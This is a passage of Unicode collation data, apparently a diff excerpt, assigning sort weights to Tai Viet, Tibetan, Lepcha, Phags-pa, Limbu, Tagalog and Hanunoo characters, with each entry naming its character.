; [.2CF5.0020.0002] # TAI VIET LETTER HIGH MO +AAB5 AAA3 ; [.2CF5.0020.0002][.2D07.0020.0002] # +AAB6 AAA3 ; [.2CF5.0020.0002][.2D08.0020.0002] # +AAB9 AAA3 ; [.2CF5.0020.0002][.2D0B.0020.0002] # +AABB AAA3 ; [.2CF5.0020.0002][.2D0D.0020.0002] # +AABC AAA3 ; [.2CF5.0020.0002][.2D0E.0020.0002] # +AAA4 ; [.2CF6.0020.0002] # TAI VIET LETTER LOW YO +AAB5 AAA4 ; [.2CF6.0020.0002][.2D07.0020.0002] # +AAB6 AAA4 ; [.2CF6.0020.0002][.2D08.0020.0002] # +AAB9 AAA4 ; [.2CF6.0020.0002][.2D0B.0020.0002] # +AABB AAA4 ; [.2CF6.0020.0002][.2D0D.0020.0002] # +AABC AAA4 ; [.2CF6.0020.0002][.2D0E.0020.0002] # +AAA5 ; [.2CF7.0020.0002] # TAI VIET LETTER HIGH YO +AAB5 AAA5 ; [.2CF7.0020.0002][.2D07.0020.0002] # +AAB6 AAA5 ; [.2CF7.0020.0002][.2D08.0020.0002] # +AAB9 AAA5 ; [.2CF7.0020.0002][.2D0B.0020.0002] # +AABB AAA5 ; [.2CF7.0020.0002][.2D0D.0020.0002] # +AABC AAA5 ; [.2CF7.0020.0002][.2D0E.0020.0002] # +AAA6 ; [.2CF8.0020.0002] # TAI VIET LETTER LOW RO +AAB5 AAA6 ; [.2CF8.0020.0002][.2D07.0020.0002] # +AAB6 AAA6 ; [.2CF8.0020.0002][.2D08.0020.0002] # +AAB9 AAA6 ; [.2CF8.0020.0002][.2D0B.0020.0002] # +AABB AAA6 ; [.2CF8.0020.0002][.2D0D.0020.0002] # +AABC AAA6 ; [.2CF8.0020.0002][.2D0E.0020.0002] # +AAA7 ; [.2CF9.0020.0002] # TAI VIET LETTER HIGH RO +AAB5 AAA7 ; [.2CF9.0020.0002][.2D07.0020.0002] # +AAB6 AAA7 ; [.2CF9.0020.0002][.2D08.0020.0002] # +AAB9 AAA7 ; [.2CF9.0020.0002][.2D0B.0020.0002] # +AABB AAA7 ; [.2CF9.0020.0002][.2D0D.0020.0002] # +AABC AAA7 ; [.2CF9.0020.0002][.2D0E.0020.0002] # +AAA8 ; [.2CFA.0020.0002] # TAI VIET LETTER LOW LO +AAB5 AAA8 ; [.2CFA.0020.0002][.2D07.0020.0002] # +AAB6 AAA8 ; [.2CFA.0020.0002][.2D08.0020.0002] # +AAB9 AAA8 ; [.2CFA.0020.0002][.2D0B.0020.0002] # +AABB AAA8 ; [.2CFA.0020.0002][.2D0D.0020.0002] # +AABC AAA8 ; [.2CFA.0020.0002][.2D0E.0020.0002] # +AAA9 ; [.2CFB.0020.0002] # TAI VIET LETTER HIGH LO +AAB5 AAA9 ; [.2CFB.0020.0002][.2D07.0020.0002] # +AAB6 AAA9 ; [.2CFB.0020.0002][.2D08.0020.0002] # +AAB9 AAA9 ; [.2CFB.0020.0002][.2D0B.0020.0002] # +AABB AAA9 ; [.2CFB.0020.0002][.2D0D.0020.0002] # +AABC AAA9 ; [.2CFB.0020.0002][.2D0E.0020.0002] # +AAAA ; [.2CFC.0020.0002] # TAI VIET LETTER LOW VO +AAB5 AAAA ; [.2CFC.0020.0002][.2D07.0020.0002] # +AAB6 AAAA ; [.2CFC.0020.0002][.2D08.0020.0002] # +AAB9 AAAA ; [.2CFC.0020.0002][.2D0B.0020.0002] # +AABB AAAA ; [.2CFC.0020.0002][.2D0D.0020.0002] # +AABC AAAA ; [.2CFC.0020.0002][.2D0E.0020.0002] # +AAAB ; [.2CFD.0020.0002] # TAI VIET LETTER HIGH VO +AAB5 AAAB ; [.2CFD.0020.0002][.2D07.0020.0002] # +AAB6 AAAB ; [.2CFD.0020.0002][.2D08.0020.0002] # +AAB9 AAAB ; [.2CFD.0020.0002][.2D0B.0020.0002] # +AABB AAAB ; [.2CFD.0020.0002][.2D0D.0020.0002] # +AABC AAAB ; [.2CFD.0020.0002][.2D0E.0020.0002] # +AAAC ; [.2CFE.0020.0002] # TAI VIET LETTER LOW HO +AAB5 AAAC ; [.2CFE.0020.0002][.2D07.0020.0002] # +AAB6 AAAC ; [.2CFE.0020.0002][.2D08.0020.0002] # +AAB9 AAAC ; [.2CFE.0020.0002][.2D0B.0020.0002] # +AABB AAAC ; [.2CFE.0020.0002][.2D0D.0020.0002] # +AABC AAAC ; [.2CFE.0020.0002][.2D0E.0020.0002] # +AAAD ; [.2CFF.0020.0002] # TAI VIET LETTER HIGH HO +AAB5 AAAD ; [.2CFF.0020.0002][.2D07.0020.0002] # +AAB6 AAAD ; [.2CFF.0020.0002][.2D08.0020.0002] # +AAB9 AAAD ; [.2CFF.0020.0002][.2D0B.0020.0002] # +AABB AAAD ; [.2CFF.0020.0002][.2D0D.0020.0002] # +AABC AAAD ; [.2CFF.0020.0002][.2D0E.0020.0002] # +AAAE ; [.2D00.0020.0002] # TAI VIET LETTER LOW O +AAB5 AAAE ; [.2D00.0020.0002][.2D07.0020.0002] # +AAB6 AAAE ; [.2D00.0020.0002][.2D08.0020.0002] # +AAB9 AAAE ; [.2D00.0020.0002][.2D0B.0020.0002] # +AABB AAAE ; [.2D00.0020.0002][.2D0D.0020.0002] # +AABC AAAE ; [.2D00.0020.0002][.2D0E.0020.0002] # +AAAF ; [.2D01.0020.0002] # TAI VIET LETTER HIGH O +AAB5 AAAF ; [.2D01.0020.0002][.2D07.0020.0002] # +AAB6 AAAF ; [.2D01.0020.0002][.2D08.0020.0002] # +AAB9 AAAF ; [.2D01.0020.0002][.2D0B.0020.0002] # +AABB AAAF ; [.2D01.0020.0002][.2D0D.0020.0002] # +AABC AAAF ; [.2D01.0020.0002][.2D0E.0020.0002] # +AAB0 ; [.2D02.0020.0002] # TAI VIET MAI KANG +AAB1 ; [.2D03.0020.0002] # TAI VIET VOWEL AA +AAB2 ; [.2D04.0020.0002] # TAI VIET VOWEL I +AAB3 ; [.2D05.0020.0002] # TAI VIET VOWEL UE +AAB4 ; [.2D06.0020.0002] # TAI VIET VOWEL U +AAB5 ; [.2D07.0020.0002] # TAI VIET VOWEL E +AAB6 ; [.2D08.0020.0002] # TAI VIET VOWEL O +AAB7 ; [.2D09.0020.0002] # TAI VIET MAI KHIT +AAB8 ; [.2D0A.0020.0002] # TAI VIET VOWEL IA +AAB9 ; [.2D0B.0020.0002] # TAI VIET VOWEL UEA +AABA ; [.2D0C.0020.0002] # TAI VIET VOWEL UA +AABB ; [.2D0D.0020.0002] # TAI VIET VOWEL AUE +AABC ; [.2D0E.0020.0002] # TAI VIET VOWEL AY +AABD ; [.2D0F.0020.0002] # TAI VIET VOWEL AN +AABE ; [.2D10.0020.0002] # TAI VIET VOWEL AM +AAC0 ; [.2D11.0020.0002] # TAI VIET TONE MAI NUENG +AAC2 ; [.2D12.0020.0002] # TAI VIET TONE MAI SONG +AADB ; [.2D13.0020.0002] # TAI VIET SYMBOL KON +AADC ; [.2D14.0020.0002] # TAI VIET SYMBOL NUENG +0F40 ; [.2D15.0020.0002] # TIBETAN LETTER KA +0F69 ; [.2D15.0020.0002][.2D56.0020.0002] # TIBETAN LETTER KSSA +0F90 ; [.2D16.0020.0002] # TIBETAN SUBJOINED LETTER KA +0FB9 ; [.2D16.0020.0002][.2D56.0020.0002] # TIBETAN SUBJOINED LETTER KSSA +0F6B ; [.2D17.0020.0002] # TIBETAN LETTER KKA +0F41 ; [.2D18.0020.0002] # TIBETAN LETTER KHA +0F91 ; [.2D19.0020.0002] # TIBETAN SUBJOINED LETTER KHA +0F42 ; [.2D1A.0020.0002] # TIBETAN LETTER GA +0F43 ; [.2D1A.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER GHA +0F92 ; [.2D1B.0020.0002] # TIBETAN SUBJOINED LETTER GA +0F93 ; [.2D1B.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER GHA +0F44 ; [.2D1C.0020.0002] # TIBETAN LETTER NGA +0F94 ; [.2D1D.0020.0002] # TIBETAN SUBJOINED LETTER NGA +0F45 ; [.2D1E.0020.0002] # TIBETAN LETTER CA +0F95 ; [.2D1F.0020.0002] # TIBETAN SUBJOINED LETTER CA +0F46 ; [.2D20.0020.0002] # TIBETAN LETTER CHA +0F96 ; [.2D21.0020.0002] # TIBETAN SUBJOINED LETTER CHA +0F47 ; [.2D22.0020.0002] # TIBETAN LETTER JA +0F97 ; [.2D23.0020.0002] # TIBETAN SUBJOINED LETTER JA +0F49 ; [.2D24.0020.0002] # TIBETAN LETTER NYA +0F99 ; [.2D25.0020.0002] # TIBETAN SUBJOINED LETTER NYA +0F4A ; [.2D26.0020.0002] # TIBETAN LETTER TTA +0F9A ; [.2D27.0020.0002] # TIBETAN SUBJOINED LETTER TTA +0F4B ; [.2D28.0020.0002] # TIBETAN LETTER TTHA +0F9B ; [.2D29.0020.0002] # TIBETAN SUBJOINED LETTER TTHA +0F4C ; [.2D2A.0020.0002] # TIBETAN LETTER DDA +0F4D ; [.2D2A.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER DDHA +0F9C ; [.2D2B.0020.0002] # TIBETAN SUBJOINED LETTER DDA +0F9D ; [.2D2B.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER DDHA +0F4E ; [.2D2C.0020.0002] # TIBETAN LETTER NNA +0F9E ; [.2D2D.0020.0002] # TIBETAN SUBJOINED LETTER NNA +0F4F ; [.2D2E.0020.0002] # TIBETAN LETTER TA +0F9F ; [.2D2F.0020.0002] # TIBETAN SUBJOINED LETTER TA +0F50 ; [.2D30.0020.0002] # TIBETAN LETTER THA +0FA0 ; [.2D31.0020.0002] # TIBETAN SUBJOINED LETTER THA +0F51 ; [.2D32.0020.0002] # TIBETAN LETTER DA +0F52 ; [.2D32.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER DHA +0FA1 ; [.2D33.0020.0002] # TIBETAN SUBJOINED LETTER DA +0FA2 ; [.2D33.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER DHA +0F53 ; [.2D34.0020.0002] # TIBETAN LETTER NA +0FA3 ; [.2D35.0020.0002] # TIBETAN SUBJOINED LETTER NA +0F54 ; [.2D36.0020.0002] # TIBETAN LETTER PA +0FA4 ; [.2D37.0020.0002] # TIBETAN SUBJOINED LETTER PA +0F55 ; [.2D38.0020.0002] # TIBETAN LETTER PHA +0FA5 ; [.2D39.0020.0002] # TIBETAN SUBJOINED LETTER PHA +0F56 ; [.2D3A.0020.0002] # TIBETAN LETTER BA +0F57 ; [.2D3A.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER BHA +0FA6 ; [.2D3B.0020.0002] # TIBETAN SUBJOINED LETTER BA +0FA7 ; [.2D3B.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER BHA +0F58 ; [.2D3C.0020.0002] # TIBETAN LETTER MA +0FA8 ; [.2D3D.0020.0002] # TIBETAN SUBJOINED LETTER MA +0F59 ; [.2D3E.0020.0002] # TIBETAN LETTER TSA +0FA9 ; [.2D3F.0020.0002] # TIBETAN SUBJOINED LETTER TSA +0F5A ; [.2D40.0020.0002] # TIBETAN LETTER TSHA +0FAA ; [.2D41.0020.0002] # TIBETAN SUBJOINED LETTER TSHA +0F5B ; [.2D42.0020.0002] # TIBETAN LETTER DZA +0F5C ; [.2D42.0020.0002][.2D5A.0020.0002] # TIBETAN LETTER DZHA +0FAB ; [.2D43.0020.0002] # TIBETAN SUBJOINED LETTER DZA +0FAC ; [.2D43.0020.0002][.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER DZHA +0F5D ; [.2D44.0020.0002] # TIBETAN LETTER WA +0FAD ; [.2D45.0020.0002] # TIBETAN SUBJOINED LETTER WA +0FBA ; [.2D45.0020.0004][.0000.010C.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM WA +0F5E ; [.2D46.0020.0002] # TIBETAN LETTER ZHA +0FAE ; [.2D47.0020.0002] # TIBETAN SUBJOINED LETTER ZHA +0F5F ; [.2D48.0020.0002] # TIBETAN LETTER ZA +0FAF ; [.2D49.0020.0002] # TIBETAN SUBJOINED LETTER ZA +0F60 ; [.2D4A.0020.0002] # TIBETAN LETTER -A +0FB0 ; [.2D4B.0020.0002] # TIBETAN SUBJOINED LETTER -A +0F61 ; [.2D4C.0020.0002] # TIBETAN LETTER YA +0FB1 ; [.2D4D.0020.0002] # TIBETAN SUBJOINED LETTER YA +0FBB ; [.2D4D.0020.0004][.0000.010C.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM YA +0F62 ; [.2D4E.0020.0002] # TIBETAN LETTER RA +0F6A ; [.2D4E.0020.0004][.0000.010C.0004] # TIBETAN LETTER FIXED-FORM RA +0FB2 ; [.2D4F.0020.0002] # TIBETAN SUBJOINED LETTER RA +0FBC ; [.2D4F.0020.0004][.0000.010C.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM RA +0F6C ; [.2D50.0020.0002] # TIBETAN LETTER RRA +0F63 ; [.2D51.0020.0002] # TIBETAN LETTER LA +0FB3 ; [.2D52.0020.0002] # TIBETAN SUBJOINED LETTER LA +0F64 ; [.2D53.0020.0002] # TIBETAN LETTER SHA +0FB4 ; [.2D54.0020.0002] # TIBETAN SUBJOINED LETTER SHA +0F65 ; [.2D55.0020.0002] # TIBETAN LETTER SSA +0FB5 ; [.2D56.0020.0002] # TIBETAN SUBJOINED LETTER SSA +0F66 ; [.2D57.0020.0002] # TIBETAN LETTER SA +0FB6 ; [.2D58.0020.0002] # TIBETAN SUBJOINED LETTER SA +0F67 ; [.2D59.0020.0002] # TIBETAN LETTER HA +0FB7 ; [.2D5A.0020.0002] # TIBETAN SUBJOINED LETTER HA +0F68 ; [.2D5B.0020.0002] # TIBETAN LETTER A +0F00 ; [.2D5B.0020.0004][.2D72.0020.0004][.0000.00BF.0004] # TIBETAN SYLLABLE OM +0FB8 ; [.2D5C.0020.0002] # TIBETAN SUBJOINED LETTER A +0F88 ; [.2D5D.0020.0002] # TIBETAN SIGN LCE TSA CAN +0F8D ; [.2D5E.0020.0002] # TIBETAN SUBJOINED SIGN LCE TSA CAN +0F89 ; [.2D5F.0020.0002] # TIBETAN SIGN MCHU CAN +0F8E ; [.2D60.0020.0002] # TIBETAN SUBJOINED SIGN MCHU CAN +0F8C ; [.2D61.0020.0002] # TIBETAN SIGN INVERTED MCHU CAN +0F8F ; [.2D62.0020.0002] # TIBETAN SUBJOINED SIGN INVERTED MCHU CAN +0F8A ; [.2D63.0020.0002] # TIBETAN SIGN GRU CAN RGYINGS +0F8B ; [.2D64.0020.0002] # TIBETAN SIGN GRU MED RGYINGS +0F71 ; [.2D65.0020.0002] # TIBETAN VOWEL SIGN AA +0F72 ; [.2D66.0020.0002] # TIBETAN VOWEL SIGN I +0F73 ; [.2D67.0020.0002] # TIBETAN VOWEL SIGN II +0F71 0F72 ; [.2D67.0020.0002] # TIBETAN VOWEL SIGN II +0F80 ; [.2D68.0020.0002] # TIBETAN VOWEL SIGN REVERSED I +0F81 ; [.2D69.0020.0002] # TIBETAN VOWEL SIGN REVERSED II +0F71 0F80 ; [.2D69.0020.0002] # TIBETAN VOWEL SIGN REVERSED II +0F74 ; [.2D6A.0020.0002] # TIBETAN VOWEL SIGN U +0F75 ; [.2D6B.0020.0002] # TIBETAN VOWEL SIGN UU +0F71 0F74 ; [.2D6B.0020.0002] # TIBETAN VOWEL SIGN UU +0F76 ; [.2D6C.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R +0FB2 0F80 ; [.2D6C.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R +0F77 ; [.2D6D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR +0FB2 0F71 0F80 ; [.2D6D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR +0FB2 0F81 ; [.2D6D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR +0F78 ; [.2D6E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L +0FB3 0F80 ; [.2D6E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L +0F79 ; [.2D6F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL +0FB3 0F71 0F80 ; [.2D6F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL +0FB3 0F81 ; [.2D6F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL +0F7A ; [.2D70.0020.0002] # TIBETAN VOWEL SIGN E +0F7B ; [.2D71.0020.0002] # TIBETAN VOWEL SIGN EE +0F7C ; [.2D72.0020.0002] # TIBETAN VOWEL SIGN O +0F7D ; [.2D73.0020.0002] # TIBETAN VOWEL SIGN OO +0F84 ; [.2D74.0020.0002] # TIBETAN MARK HALANTA +1C00 ; [.2D75.0020.0002] # LEPCHA LETTER KA +1C01 ; [.2D76.0020.0002] # LEPCHA LETTER KLA +1C02 ; [.2D77.0020.0002] # LEPCHA LETTER KHA +1C03 ; [.2D78.0020.0002] # LEPCHA LETTER GA +1C04 ; [.2D79.0020.0002] # LEPCHA LETTER GLA +1C05 ; [.2D7A.0020.0002] # LEPCHA LETTER NGA +1C06 ; [.2D7B.0020.0002] # LEPCHA LETTER CA +1C07 ; [.2D7C.0020.0002] # LEPCHA LETTER CHA +1C08 ; [.2D7D.0020.0002] # LEPCHA LETTER JA +1C09 ; [.2D7E.0020.0002] # LEPCHA LETTER NYA +1C4D ; [.2D7F.0020.0002] # LEPCHA LETTER TTA +1C4E ; [.2D80.0020.0002] # LEPCHA LETTER TTHA +1C4F ; [.2D81.0020.0002] # LEPCHA LETTER DDA +1C0A ; [.2D82.0020.0002] # LEPCHA LETTER TA +1C0B ; [.2D83.0020.0002] # LEPCHA LETTER THA +1C0C ; [.2D84.0020.0002] # LEPCHA LETTER DA +1C0D ; [.2D85.0020.0002] # LEPCHA LETTER NA +1C0E ; [.2D86.0020.0002] # LEPCHA LETTER PA +1C0F ; [.2D87.0020.0002] # LEPCHA LETTER PLA +1C10 ; [.2D88.0020.0002] # LEPCHA LETTER PHA +1C11 ; [.2D89.0020.0002] # LEPCHA LETTER FA +1C12 ; [.2D8A.0020.0002] # LEPCHA LETTER FLA +1C13 ; [.2D8B.0020.0002] # LEPCHA LETTER BA +1C14 ; [.2D8C.0020.0002] # LEPCHA LETTER BLA +1C15 ; [.2D8D.0020.0002] # LEPCHA LETTER MA +1C16 ; [.2D8E.0020.0002] # LEPCHA LETTER MLA +1C17 ; [.2D8F.0020.0002] # LEPCHA LETTER TSA +1C18 ; [.2D90.0020.0002] # LEPCHA LETTER TSHA +1C19 ; [.2D91.0020.0002] # LEPCHA LETTER DZA +1C1A ; [.2D92.0020.0002] # LEPCHA LETTER YA +1C24 ; [.2D93.0020.0002] # LEPCHA SUBJOINED LETTER YA +1C1B ; [.2D94.0020.0002] # LEPCHA LETTER RA +1C25 ; [.2D95.0020.0002] # LEPCHA SUBJOINED LETTER RA +1C1C ; [.2D96.0020.0002] # LEPCHA LETTER LA +1C1D ; [.2D97.0020.0002] # LEPCHA LETTER HA +1C1E ; [.2D98.0020.0002] # LEPCHA LETTER HLA +1C1F ; [.2D99.0020.0002] # LEPCHA LETTER VA +1C20 ; [.2D9A.0020.0002] # LEPCHA LETTER SA +1C21 ; [.2D9B.0020.0002] # LEPCHA LETTER SHA +1C22 ; [.2D9C.0020.0002] # LEPCHA LETTER WA +1C23 ; [.2D9D.0020.0002] # LEPCHA LETTER A +1C36 ; [.2D9E.0020.0002] # LEPCHA SIGN RAN +1C26 ; [.2D9F.0020.0002] # LEPCHA VOWEL SIGN AA +1C27 ; [.2DA0.0020.0002] # LEPCHA VOWEL SIGN I +1C28 ; [.2DA1.0020.0002] # LEPCHA VOWEL SIGN O +1C29 ; [.2DA2.0020.0002] # LEPCHA VOWEL SIGN OO +1C2A ; [.2DA3.0020.0002] # LEPCHA VOWEL SIGN U +1C2B ; [.2DA4.0020.0002] # LEPCHA VOWEL SIGN UU +1C2C ; [.2DA5.0020.0002] # LEPCHA VOWEL SIGN E +1C2D ; [.2DA6.0020.0002] # LEPCHA CONSONANT SIGN K +1C2E ; [.2DA7.0020.0002] # LEPCHA CONSONANT SIGN M +1C2F ; [.2DA8.0020.0002] # LEPCHA CONSONANT SIGN L +1C30 ; [.2DA9.0020.0002] # LEPCHA CONSONANT SIGN N +1C31 ; [.2DAA.0020.0002] # LEPCHA CONSONANT SIGN P +1C32 ; [.2DAB.0020.0002] # LEPCHA CONSONANT SIGN R +1C33 ; [.2DAC.0020.0002] # LEPCHA CONSONANT SIGN T +1C34 ; [.2DAD.0020.0002] # LEPCHA CONSONANT SIGN NYIN-DO +1C35 ; [.2DAE.0020.0002] # LEPCHA CONSONANT SIGN KANG +A840 ; [.2DAF.0020.0002] # PHAGS-PA LETTER KA +A841 ; [.2DB0.0020.0002] # PHAGS-PA LETTER KHA +A842 ; [.2DB1.0020.0002] # PHAGS-PA LETTER GA +A843 ; [.2DB2.0020.0002] # PHAGS-PA LETTER NGA +A844 ; [.2DB3.0020.0002] # PHAGS-PA LETTER CA +A845 ; [.2DB4.0020.0002] # PHAGS-PA LETTER CHA +A846 ; [.2DB5.0020.0002] # PHAGS-PA LETTER JA +A847 ; [.2DB6.0020.0002] # PHAGS-PA LETTER NYA +A869 ; [.2DB7.0020.0002] # PHAGS-PA LETTER TTA +A86A ; [.2DB8.0020.0002] # PHAGS-PA LETTER TTHA +A86B ; [.2DB9.0020.0002] # PHAGS-PA LETTER DDA +A86C ; [.2DBA.0020.0002] # PHAGS-PA LETTER NNA +A848 ; [.2DBB.0020.0002] # PHAGS-PA LETTER TA +A849 ; [.2DBC.0020.0002] # PHAGS-PA LETTER THA +A84A ; [.2DBD.0020.0002] # PHAGS-PA LETTER DA +A84B ; [.2DBE.0020.0002] # PHAGS-PA LETTER NA +A84C ; [.2DBF.0020.0002] # PHAGS-PA LETTER PA +A84D ; [.2DC0.0020.0002] # PHAGS-PA LETTER PHA +A84E ; [.2DC1.0020.0002] # PHAGS-PA LETTER BA +A84F ; [.2DC2.0020.0002] # PHAGS-PA LETTER MA +A850 ; [.2DC3.0020.0002] # PHAGS-PA LETTER TSA +A851 ; [.2DC4.0020.0002] # PHAGS-PA LETTER TSHA +A852 ; [.2DC5.0020.0002] # PHAGS-PA LETTER DZA +A853 ; [.2DC6.0020.0002] # PHAGS-PA LETTER WA +A867 ; [.2DC7.0020.0002] # PHAGS-PA SUBJOINED LETTER WA +A854 ; [.2DC8.0020.0002] # PHAGS-PA LETTER ZHA +A855 ; [.2DC9.0020.0002] # PHAGS-PA LETTER ZA +A856 ; [.2DCA.0020.0002] # PHAGS-PA LETTER SMALL A +A857 ; [.2DCB.0020.0002] # PHAGS-PA LETTER YA +A868 ; [.2DCC.0020.0002] # PHAGS-PA SUBJOINED LETTER YA +A86D ; [.2DCD.0020.0002] # PHAGS-PA LETTER ALTERNATE YA +A858 ; [.2DCE.0020.0002] # PHAGS-PA LETTER RA +A871 ; [.2DCF.0020.0002] # PHAGS-PA SUBJOINED LETTER RA +A872 ; [.2DD0.0020.0002] # PHAGS-PA SUPERFIXED LETTER RA +A859 ; [.2DD1.0020.0002] # PHAGS-PA LETTER LA +A85A ; [.2DD2.0020.0002] # PHAGS-PA LETTER SHA +A86E ; [.2DD3.0020.0002] # PHAGS-PA LETTER VOICELESS SHA +A85B ; [.2DD4.0020.0002] # PHAGS-PA LETTER SA +A85C ; [.2DD5.0020.0002] # PHAGS-PA LETTER HA +A86F ; [.2DD6.0020.0002] # PHAGS-PA LETTER VOICED HA +A870 ; [.2DD7.0020.0002] # PHAGS-PA LETTER ASPIRATED FA +A85D ; [.2DD8.0020.0002] # PHAGS-PA LETTER A +A862 ; [.2DD9.0020.0002] # PHAGS-PA LETTER QA +A863 ; [.2DDA.0020.0002] # PHAGS-PA LETTER XA +A864 ; [.2DDB.0020.0002] # PHAGS-PA LETTER FA +A865 ; [.2DDC.0020.0002] # PHAGS-PA LETTER GGA +A85E ; [.2DDD.0020.0002] # PHAGS-PA LETTER I +A85F ; [.2DDE.0020.0002] # PHAGS-PA LETTER U +A860 ; [.2DDF.0020.0002] # PHAGS-PA LETTER E +A861 ; [.2DE0.0020.0002] # PHAGS-PA LETTER O +A866 ; [.2DE1.0020.0002] # PHAGS-PA LETTER EE +A873 ; [.2DE2.0020.0002] # PHAGS-PA LETTER CANDRABINDU +1900 ; [.2DE3.0020.0002] # LIMBU VOWEL-CARRIER LETTER +1901 ; [.2DE4.0020.0002] # LIMBU LETTER KA +1902 ; [.2DE5.0020.0002] # LIMBU LETTER KHA +1903 ; [.2DE6.0020.0002] # LIMBU LETTER GA +1904 ; [.2DE7.0020.0002] # LIMBU LETTER GHA +1905 ; [.2DE8.0020.0002] # LIMBU LETTER NGA +1906 ; [.2DE9.0020.0002] # LIMBU LETTER CA +1907 ; [.2DEA.0020.0002] # LIMBU LETTER CHA +1908 ; [.2DEB.0020.0002] # LIMBU LETTER JA +191D ; [.2DEB.0020.0004][.2E09.0020.0004] # LIMBU LETTER GYAN +1909 ; [.2DEC.0020.0002] # LIMBU LETTER JHA +190A ; [.2DED.0020.0002] # LIMBU LETTER YAN +190B ; [.2DEE.0020.0002] # LIMBU LETTER TA +191E ; [.2DEE.0020.0004][.2E0A.0020.0004] # LIMBU LETTER TRA +190C ; [.2DEF.0020.0002] # LIMBU LETTER THA +190D ; [.2DF0.0020.0002] # LIMBU LETTER DA +190E ; [.2DF1.0020.0002] # LIMBU LETTER DHA +190F ; [.2DF2.0020.0002] # LIMBU LETTER NA +1910 ; [.2DF3.0020.0002] # LIMBU LETTER PA +1911 ; [.2DF4.0020.0002] # LIMBU LETTER PHA +1912 ; [.2DF5.0020.0002] # LIMBU LETTER BA +1913 ; [.2DF6.0020.0002] # LIMBU LETTER BHA +1914 ; [.2DF7.0020.0002] # LIMBU LETTER MA +1915 ; [.2DF8.0020.0002] # LIMBU LETTER YA +1916 ; [.2DF9.0020.0002] # LIMBU LETTER RA +1917 ; [.2DFA.0020.0002] # LIMBU LETTER LA +1918 ; [.2DFB.0020.0002] # LIMBU LETTER WA +1919 ; [.2DFC.0020.0002] # LIMBU LETTER SHA +191A ; [.2DFD.0020.0002] # LIMBU LETTER SSA +191B ; [.2DFE.0020.0002] # LIMBU LETTER SA +191C ; [.2DFF.0020.0002] # LIMBU LETTER HA +1920 ; [.2E00.0020.0002] # LIMBU VOWEL SIGN A +1921 ; [.2E01.0020.0002] # LIMBU VOWEL SIGN I +1922 ; [.2E02.0020.0002] # LIMBU VOWEL SIGN U +1923 ; [.2E03.0020.0002] # LIMBU VOWEL SIGN EE +1924 ; [.2E04.0020.0002] # LIMBU VOWEL SIGN AI +1925 ; [.2E05.0020.0002] # LIMBU VOWEL SIGN OO +1926 ; [.2E06.0020.0002] # LIMBU VOWEL SIGN AU +1927 ; [.2E07.0020.0002] # LIMBU VOWEL SIGN E +1928 ; [.2E08.0020.0002] # LIMBU VOWEL SIGN O +1929 ; [.2E09.0020.0002] # LIMBU SUBJOINED LETTER YA +192A ; [.2E0A.0020.0002] # LIMBU SUBJOINED LETTER RA +192B ; [.2E0B.0020.0002] # LIMBU SUBJOINED LETTER WA +1930 ; [.2E0C.0020.0002] # LIMBU SMALL LETTER KA +1931 ; [.2E0D.0020.0002] # LIMBU SMALL LETTER NGA +1932 ; [.2E0E.0020.0002] # LIMBU SMALL LETTER ANUSVARA +1933 ; [.2E0F.0020.0002] # LIMBU SMALL LETTER TA +1934 ; [.2E10.0020.0002] # LIMBU SMALL LETTER NA +1935 ; [.2E11.0020.0002] # LIMBU SMALL LETTER PA +1936 ; [.2E12.0020.0002] # LIMBU SMALL LETTER MA +1937 ; [.2E13.0020.0002] # LIMBU SMALL LETTER RA +1938 ; [.2E14.0020.0002] # LIMBU SMALL LETTER LA +1700 ; [.2E15.0020.0002] # TAGALOG LETTER A +1701 ; [.2E16.0020.0002] # TAGALOG LETTER I +1702 ; [.2E17.0020.0002] # TAGALOG LETTER U +1703 ; [.2E18.0020.0002] # TAGALOG LETTER KA +1704 ; [.2E19.0020.0002] # TAGALOG LETTER GA +1705 ; [.2E1A.0020.0002] # TAGALOG LETTER NGA +1706 ; [.2E1B.0020.0002] # TAGALOG LETTER TA +1707 ; [.2E1C.0020.0002] # TAGALOG LETTER DA +1708 ; [.2E1D.0020.0002] # TAGALOG LETTER NA +1709 ; [.2E1E.0020.0002] # TAGALOG LETTER PA +170A ; [.2E1F.0020.0002] # TAGALOG LETTER BA +170B ; [.2E20.0020.0002] # TAGALOG LETTER MA +170C ; [.2E21.0020.0002] # TAGALOG LETTER YA +170E ; [.2E22.0020.0002] # TAGALOG LETTER LA +170F ; [.2E23.0020.0002] # TAGALOG LETTER WA +1710 ; [.2E24.0020.0002] # TAGALOG LETTER SA +1711 ; [.2E25.0020.0002] # TAGALOG LETTER HA +1712 ; [.2E26.0020.0002] # TAGALOG VOWEL SIGN I +1713 ; [.2E27.0020.0002] # TAGALOG VOWEL SIGN U +1714 ; [.2E28.0020.0002] # TAGALOG SIGN VIRAMA +1720 ; [.2E29.0020.0002] # HANUNOO LETTER A +1721 ; [.2E2A.0020.0002] # HANUNOO LETTER I +1722 ; [.2E2B.0020.0002] # HANUNOO LETTER U +1723 ; [.2E2C.0020.0002] # HANUNOO LETTER KA +1724 ; [.2E2D.0020.0002] # HANUNOO LETTER GA +1725 ; [.2E2E.0020.0002] # HANUNOO LETTER NGA +1726 ; [.2E2F.0020.0002] # HANUNOO LETTER TA +1727 ; [.2E30.0020.0002] # HANUNOO LETTER DA +1728 ; [.2E31.0020.0002] # HANUNOO LETTER NA +1729 ; [.2E32.0020.0002] # HANUNOO LETTER PA +172A ; [.2E33.0020.0002] # HANUNOO LETTER BA +172B ; 